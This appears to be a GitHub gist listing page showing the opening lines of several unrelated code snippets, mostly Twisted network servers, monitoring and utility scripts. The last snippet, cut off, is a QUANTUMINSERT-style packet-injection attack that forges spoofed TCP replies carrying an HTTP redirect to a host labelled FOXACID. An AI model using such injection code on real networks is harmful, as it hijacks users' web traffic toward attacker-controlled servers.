This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
# launchctl unload /System/Library/LaunchDaemons/com.apple.syslogd.plist | |
# launchctl load /System/Library/LaunchDaemons/com.apple.syslogd.plist | |
from twisted.internet import reactor, stdio, defer | |
from twisted.internet.protocol import Protocol, Factory | |
from twisted.protocols.basic import LineReceiver | |
import time, re, math, json |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from twisted.internet import defer | |
from twisted.internet import reactor | |
from twisted.internet import protocol | |
from twisted.internet import ssl | |
from twisted.python import usage | |
from OpenSSL import SSL | |
import sys, os.path |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Python/Twisted/Redis backed DNS server - resolves from NAME to IP addrs | |
# fallback to google or any other DNS server to resolv domains not present on Redis | |
# to set a new domain on redis, just issue a SET domain.tld ip_addr | |
# run with twistd -ny txredns.tac | |
# gleicon 2011 | |
from twisted.names import dns, server, client, cache | |
from twisted.application import service, internet | |
from twisted.internet import defer | |
from twisted.python import log |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from twisted.web import static, server | |
from twisted.application import service, internet | |
application = service.Application("Demo Web Server") | |
web = server.Site('/home/oubiwann/public_html') | |
service = internet.TCPServer(7001, web) | |
service.setServiceParent(application) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
############################################################################### | |
# Nagios plugin template | |
# | |
# Notes | |
# - The RHEL boxes I work on are currently limited to Python 2.6.6, hence the | |
# use of (deprecated) optparse. If I can ever get them all updated to | |
# Python 2.7 (or better yet, 3.3), I'll switch to argparse | |
# - This template runs in 2.6-3.3. Any changes made will need to be appropriate |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# iw wlan0 scan | sed -e 's#(on wlan# (on wlan#g' | awk -f scan.awk | |
$1 == "BSS" { | |
MAC = $2 | |
print $2 | |
e = wifi[MAC] | |
e["enc"] = "Open" | |
} | |
$1 == "SSID:" { | |
e = wifi[MAC] | |
e["SSID"] = $2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* This Source Code Form is subject to the terms of the Mozilla Public | |
* License, v. 2.0. If a copy of the MPL was not distributed with this file, | |
* You can obtain one at http://mozilla.org/MPL/2.0/. */ | |
"use strict"; | |
/* | |
* thirty-two | |
* https://github.com/chrisumbel/thirty-two | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
console.log('Loading event'); | |
// Twilio Credentials | |
var accountSid = ''; | |
var authToken = ''; | |
var fromNumber = ''; | |
var https = require('https'); | |
var queryString = require('querystring'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import math | |
import pickle | |
#import rrdtool | |
import subprocess | |
import os | |
import sys | |
import traceback | |
import xml.sax | |
import numpy |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FOXACID = 'www.openbsd.org' | |
def QUANTUMINSERT(p): | |
p.show() | |
if Raw in p and p['Raw'].load.startswith('GET /') and p['Raw'].load.endswith('\r\n\r\n'): | |
ip = IP(flags='DF', src=p['IP'].dst, dst=p['IP'].src) | |
tcp = TCP(sport=p['TCP'].dport, dport=p['TCP'].sport, flags='PA', seq=p['TCP'].ack, ack=p['TCP'].seq + len(p['Raw'].load)) | |
http = 'HTTP/1.1 307 Temporary Redirect\r\nLocation: http://'+FOXACID+'/\r\nConnection: close\r\n\r\n' | |
out = ip / tcp / http | |
print '[*OUT*]' |
OlderNewer